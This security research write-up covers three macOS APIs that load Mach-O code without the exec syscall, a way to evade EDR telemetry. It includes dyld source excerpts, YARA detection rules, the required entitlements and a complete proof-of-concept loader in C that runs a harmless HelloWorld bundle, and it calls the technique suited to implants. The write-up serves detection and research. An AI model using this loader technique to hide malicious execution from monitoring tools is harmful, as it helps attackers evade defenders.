As part of our work, it’s often interesting to try to find possible avenues of attack that bypass detections on EDR products. On macOS, EDR products specifically collect telemetry from fork and exec syscalls. macOS has alternative ways of executing code, which side-step these system calls by executing code directly in-memory.

There are a few APIs that can be used for in-memory execution of code in macOS. The most well known is an API in dyld, NSCreateObjectFileImageFromMemory, which is heavily documented but has become less effective since it started to leave file artifacts on disk in dyld3. However, there are two more APIs that can still be used for this purpose but aren’t well documented, NSCreateObjectFileImageFromFile and CFBundleCreate.

In this writeup, we touch on all 3 aforementioned APIs and then create a PoC loader which uses NSCreateObjectFileImageFromFile and CFBundleCreate to load a bundle from disk and execute it.

NSCreateObjectFileImageFromMemory

Use of NSCreateObjectFileImageFromMemory and NSLinkModule has been documented several times in the past [1], [2]. These functions in the dylib loader allow us to execute something straight from memory.

  • NSCreateObjectFileImageFromMemory is able to load a Mach-O from memory.
  • NSLinkModule adds loaded dylib memory space to current process. It facilitates a loader when trying to leverage NSCreateObjectFileFromMemory API.

NSCreateObjectFileImageFromMemory has also been abused several times in the past.

Recent Changes

Starting with dyld3, Apple has changed the NSLinkModule function to stop doing in-memory loading directly. Now, if a program attempts to load something in-memory, it is written to disk with a string fingerprint NSCreateObjectFileImageFromMemory-XXXXXXXX as shown in the following excerpt.

NSModule NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options)
{
    DYLD_LOAD_LOCK_THIS_BLOCK
    log_apis("NSLinkModule(%p, \"%s\", 0x%08X)\n", ofi, moduleName, options);

    __block const char* path = nullptr;
    bool foundImage = gAllImages.forNSObjectFileImage(ofi, ^(OFIInfo &image) {
        // if this is memory based image, write to temp file, then use file based loading
        if ( image.memSource != nullptr ) {
            // make temp file with content of memory buffer
            image.path = nullptr;
            char tempFileName[PATH_MAX];
            const char* tmpDir = getenv("TMPDIR");
            if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
                strlcpy(tempFileName, tmpDir, PATH_MAX);
                if ( tmpDir[strlen(tmpDir)-1] != '/' )
                    strlcat(tempFileName, "/", PATH_MAX);
            }
            else
                strlcpy(tempFileName,"/tmp/", PATH_MAX);
            strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
...

This new behavior essentially means that “in-memory” execution nature of this API is deprecated. And now, usage of this API is detectable.

Attacker Hat on

This API now leaves a trace on the system, and is therefore less suitable to use as a capability in malware.

Defender Hat on

In dyld3, the usage of this API is quite easily detectable. All we have to do is look for file modifications which contain the string NSCreateObjectFileImageFromMemory from any EDR agent.

I’d thought about detecting this API before the dyld3 changes and came up with the following.

In-memory execution is quite hard to detect without memory forensic signals. Apple has removed kernel extensions, and hence essentially gotten rid of memory dumps in a macOS system. Volexity suggests they have a workaround for this, but it involves allowlisting the kext that they inject into memory. The other way to detect this would be to use YARA signatures in order to find and match function signatures on the loader binary, and chain them together in a sequence.

I wrote up a YARA signature which is fairly successful at detecting this behavior. This signature looks for byte patterns that match LC_MAIN, and invocations of NsLinkModule and NSCreateObjectFileImageFromMemory in a binary. Here, sig_for_mach_o refers to the YARA signature similar to this.

rule memory_loading_and_execution: in_memory_loader{
  meta:
    author = "r34p3r@meta.com"
    share_level = "GREEN"
    description = "Possible in-memory loading and execution of Mach-O Seen in OSX/Evilquest"
  strings:
    $bad_LC_MAIN_jmp = {
      81 ?? 28 00 00 80
      0F 8? ?? ?? ?? ??
    }
    $map_args_to_nslinkmodule = {
        48 ?? (?? ?? | ?? ?? ?? ?? ??)
        48 ?? (?? ?? | ?? ?? ?? ?? ??)
        [0-32]
        BA 03 00 00 00
        [0-32]
        (ff | E8) ?? ?? ?? ??
    }
    $map_args_to_nscreate = {
        48 ?? ?? ?? ?? 00 00
        48 ?? ??
        48 ?? ?? ?? ?? 00 00
        B? (?? | ?? ?? ?? ??)
        [0-32]
        E8 ?? ?? 00 00
    }

  condition:
    {sig_for_mach_o} and $map_args_to_nslinkmodule and $bad_LC_MAIN_jmp and $map_args_to_nscreate
}

NSCreateObjectFileImageFromFile

While going through the dyld APIs, I noticed that there was another API, NSCreateObjectFileImageFromFile, which had a similar function signature to NSCreateObjectFileImageFromMemory. This API is a sibling of NSCreateObjectFileImageFromMemory, and is able to work with any file on disk.

Why use NSCreateObjectFileImageFromFile?

Let’s abstract out the requirement of a good loader for a second and look at it from a high level. In a good loader:

  • We want to leave no footprint on disk, except perhaps the loader.
  • We want to execute things in a way that avoids detection.

NSCreateObjectFileImageFromMemory mentioned in this note could have been used to execute arbitrary downloaded files in-memory. But do we really need arbitrary executables when the operating system has a lot of Apple signed lolbins?

This API allows you to load any arbitrary Mach-O from disk, and could form an integral piece of an implant.

Internals

// macOS needs to support an old API that only works only
// with fileype==MH_BUNDLE.
NSObjectFileImageReturnCode NSCreateObjectFileImageFromFile(const char* path, NSObjectFileImage* ofi)
{
    log_apis("NSCreateObjectFileImageFromFile(\"%s\", %p)\n", path, ofi);

    // verify path exists
    struct stat statbuf;
    if ( dyld3::stat(path, &statbuf) == -1 )
        return NSObjectFileImageFailure;

    // create ofi that just contains path. NSLinkModule does all the work
    OFIInfo result;
    result.path        = strdup(path);
    result.memSource   = nullptr;
    result.memLength   = 0;
    result.loadAddress = nullptr;
    result.imageNum    = 0;
    *ofi = gAllImages.addNSObjectFileImage(result);

    log_apis("NSCreateObjectFileImageFromFile() => %p\n", *ofi);

    return NSObjectFileImageSuccess;
}

This API is fairly straightforward. While Apple does warn that this API can only be used in bundles, it’s possible to iterate through a mapped image and find the offset for LC_MAIN such that we can call the main function of a mapped executable.

int find_Mach-O(unsigned long addr, unsigned long *base, unsigned int increment, unsigned int dereference) {
    unsigned long ptr;
    // find a Mach-O header by searching from address
    *base = 0;

    while(1) {
        ptr = addr;
        if(dereference) ptr = *(unsigned long *)ptr;
        chmod((char *)ptr, 0777);
        if(errno == 2 /*ENOENT*/ &&
            ((int *)ptr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) {
            *base = ptr;
            return 0;
        }

        addr += increment;
    }
    return 1;
}


int find_epc(unsigned long base, struct entry_point_command **entry) {
    // find the entry point command by searching through base's load commands

    struct mach_header_64 *mh;
    struct load_command *lc;

    *entry = NULL;

    mh = (struct mach_header_64 *)base;
    lc = (struct load_command *)(base + sizeof(struct mach_header_64));
    for(int i=0; i<mh->ncmds; i++) {
        if(lc->cmd == LC_MAIN) {    //0x80000028
            *entry = (struct entry_point_command *)lc;
            return 0;
        }

        lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
    }

    return 1;
}

Hence, this API can be used to load both bundles and Mach-O executables.

Attacker Hat on

From an attacker standpoint, it’s possible to create a backdoor of sorts which takes a Mach-O that exists locally, and execute it without using the “exec” syscall. The execution hence becomes invisible to most EDRs. The following sequence of API calls is how you can accomplish it:

dyldErr = NSCreateObjectFileImageFromFile(
    codePath,
    &ofi
);
module = NSLinkModule(ofi, moduleName, options);
symbol = NSLookupSymbolInModule(module, "_" kBundleEntryPointName);
function = NSAddressOfSymbol(symbol);
function(message);

It provides all the benefits that NSCreateObjectFileImageFromMemory used to provide but does not leave file artifacts on disk. It also avoids use of exec. It is an ideal API to use in an executable loader implant on macOS.

Defender Hat on

The problems to detect this mirror the problems to detect NSCreateObjectFileFromMemory exactly. A YARA signature could be our best bet at detecting this API inside a Mach-O loader:

rule memory_loading_and_execution_using_fileimagefromfile: mac_os in_memory_loader_using_fileimagefromfile{
  meta:
    author = "r34p3r@meta.com"
    share_level = "GREEN"
    description = "Possible in-memory loading and execution of Mach-O"

  strings:
    $call_to_LC_MAIN_jmp = {
      81 ?? 28 00 00 80
      0F 8? ?? ?? ?? ??
    }
    $ns_link_module = "NSLinkModule"
    $ns_create_image_from_file = "NSCreateObjectFileImageFromFile"
    $call_to_nslookup_for_symbols = "NSLookupSymbolInModule"
    $call_to_ns_address_of_symbol = "NSAddressOfSymbol"
    $map_args_to_nslinkmodule = {
        48 ?? ?? ?? ?? ff ff
        4C ?? ??
        [0-32]
        BA (03| 07) 00 00 00
        [0-32]
        E8 ?? ?? ?? ??
    }
  condition:
    {sig_for_mach_o} and $ns_create_image_from_file and ($ns_link_module and $map_args_to_nslinkmodule) and 2 of ($call_to_*)
}

This YARA signature looks for signatures of LC_MAIN, and invocation signatures of NSCreateObjectFileImageFromFile, NSLinkModule, NSLookupSymbolInModule and NSLookupSymbolInModule to detect if this method of invocation is being used in an executable.

CFBundleCreate

Apple’s documentation about the third API is a bit sparse.

"Apple's complete public documentation on CFBundleCreate"

This API essentially mimics what NSCreateObjectFileImageFromFile does. The following sequence of API calls should result in desired behavior:

url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *) pathToBundle, strlen(pathToBundle), true);
bundle = CFBundleCreate(NULL, url);
func = (EntryPoint) CFBundleGetFunctionPointerForName(bundle, CFSTR(kBundleEntryPointName));
func("... from CFBundle");

Pre-requisite Entitlements

Apple has introduced memory protection primitives in the way memory permissions are handled. This means that a couple of entitlements are required to get in-memory execution working.

manishbhatt@jvf-imac Development % codesign -d --entitlements - ./loader
[Dict]
    [Key] com.apple.security.cs.allow-unsigned-executable-memory
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-executable-page-protection
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-library-validation
    [Value]
        [Bool] true

These entitlements are not restricted. Anyone with a developer certificate can attach them to their application.

Putting it together in a single Mach-O

For the PoC we have 2 things: an innocuous looking bundle and a Mach-O executable which uses NSCreateObjectFileImageFromFile and CFBundleCreate to load the bundle directly from disk. The function HelloWorld from the bundle gets loaded by the Mach-O.

Bundle Source Code

#include <stdio.h>

extern void HelloWorld(const char *message);

extern void HelloWorld(const char *message)
{
    fprintf(stderr, "Hello World!\n");
    fprintf(stderr, "%s\n", message);
}

Loader that Loads Bundles from Disk

#include <CoreServices/CoreServices.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach-o/arch.h>
#include <mach-o/fat.h>
#include <mach-o/dyld.h>

// Definitions for the bundle entry point.

#define kBundleEntryPointName "HelloWorld"
typedef void( * EntryPoint)(const char * message);

/////////////////////////////////////////////////////////////////

static void cf_load_bundle(const char * pathToBundle)
// Load and call the bundle the easy way, via CFBundle.
{
  CFURLRef u;
  CFBundleRef b;
  EntryPoint f;

  u = NULL;
  b = NULL;

  u = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 * ) pathToBundle, strlen(pathToBundle), true);
  if (u == NULL) {
    fprintf(stderr, "Could not create URL.\n");
  } else {
    b = CFBundleCreate(NULL, u);
    if (b == NULL) {
      fprintf(stderr, "Could not create bundle.\n");
    } else {
      f = (EntryPoint) CFBundleGetFunctionPointerForName(b, CFSTR(kBundleEntryPointName));
      if (f == NULL) {
        fprintf(stderr, "Could not get entry point.\n");
      } else {
        f("... from CFBundle");
      }
    }
  }

  if (b != NULL) {
    CFRelease(b);
  }
  if (u != NULL) {
    CFRelease(u);
  }
}

static Boolean GetBundleExecutable(const char * pathToBundle, char * buf, size_t bufLen)
// Get the executable path for the specified bundle.  We do this using
// CFBundle APIs to avoid having to hard-code things like "Contents/macOS".
{
  Boolean ok;
  CFURLRef u;
  CFBundleRef b;
  CFURLRef u2;

  u = NULL;
  b = NULL;
  u2 = NULL;

  // Create a bundle from the path.

  ok = true;
  u = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 * ) pathToBundle, strlen(pathToBundle), true);
  if (u == NULL) {
    ok = false;
  }
  if (ok) {
    b = CFBundleCreate(NULL, u);
    if (b == NULL) {
      ok = false;
    }
  }

  // Ask the bundle for the path to the executable.

  if (ok) {
    u2 = CFBundleCopyExecutableURL(b);
    if (u2 == NULL) {
      ok = false;
    }
  }
  if (ok) {
    ok = CFURLGetFileSystemRepresentation(u2, true, (UInt8 * ) buf, bufLen);
  }

  // Clean up.

  if (u != NULL) {
    CFRelease(u);
  }
  if (b != NULL) {
    CFRelease(b);
  }
  if (u2 != NULL) {
    CFRelease(u2);
  }
  return ok;
}

static void nsfromfile_load_bundle(const char * pathToBundle) {
  int junk;
  char codePath[1024];
  void * codeAddr;
  size_t codeSize;
  const char * moduleName;
  const char * message;
  NSObjectFileImageReturnCode dyldErr;
  NSObjectFileImage ofi;
  enum DYLD_BOOL ok;
  NSModule m;
  NSSymbol s;
  EntryPoint f;

  codeAddr = NULL;
  ofi = NULL;
  m = NULL;

  // Get the path to the code within the bundle.

  ok = GetBundleExecutable(pathToBundle, codePath, sizeof(codePath));
  if (!ok) {
    fprintf(stderr, "Could not locate executable with '%s'.", pathToBundle);
  } else {
    // Set moduleName for the call to NSLinkModule.

    moduleName = codePath;
    message = "... from NSCreateObjectFileImageFromFile";

    // Create the object file image directly from the file.

    dyldErr = NSCreateObjectFileImageFromFile(
      codePath, &
      ofi
    );

    if (dyldErr != NSObjectFileImageSuccess) {
      fprintf(stderr, "Could not create object file image.\n");
    } else {
      unsigned long options;
      // NSLINKMODULE_OPTION_PRIVATE: Don't publish the bundle's exports to the global namespace
      // NSLINKMODULE_OPTION_RETURN_ON_ERROR : Return, rather than abort(), or error
      // NSLINKMODULE_OPTION_BINDNOW: Link the module now, rather than on demand
      options = NSLINKMODULE_OPTION_PRIVATE
        |
        NSLINKMODULE_OPTION_RETURN_ON_ERROR;
      #if!defined(NDEBUG)
      options |= NSLINKMODULE_OPTION_BINDNOW;
      #endif
      m = NSLinkModule(ofi, moduleName, options);

      if (m == NULL) {
        fprintf(stderr, "Could not link module.%s \n", m);
      } else {
        s = NSLookupSymbolInModule(m, "_"
          kBundleEntryPointName);
        if (s == NULL) {
          fprintf(stderr, "Could not lookup symbol.\n");
        } else {
          f = NSAddressOfSymbol(s);
          if (f == NULL) {
            fprintf(stderr, "Could not get address of symbol.\n");
          } else {
            f(message);
          }
        }
      }
    }
  }

  if (m != NULL) {
    ok = NSUnLinkModule(m, NSUNLINKMODULE_OPTION_NONE);
    assert(ok);
  }
  if (ofi != NULL) {
    ok = NSDestroyObjectFileImage(ofi);
    assert(ok);
    codeAddr = NULL;
  }
  if (codeAddr != NULL) {
    junk = (int) vm_deallocate(mach_task_self(), (vm_address_t) codeAddr, codeSize);
    assert(junk == 0);
  }
}

static void PrintUsage(void) {
  fprintf(stderr, "loader ( -cf | -ns | -nsmem ) PathToBundle\n");
}

int main(int argc,
  const char * argv[]) {
  if (argc != 3) {
    PrintUsage();
    exit(EXIT_FAILURE);
  }

  if (strcmp(argv[1], "-cf") == 0) {
    cf_load_bundle(argv[2]);
  } else if (strcmp(argv[1], "-ns") == 0) {
    nsfromfile_load_bundle(argv[2]);
  } else {
    PrintUsage();
    exit(EXIT_FAILURE);
  }

  return EXIT_SUCCESS;
}

The following screenshot demonstrates this loading behavior in action:

"Proof of the PoC loader executing"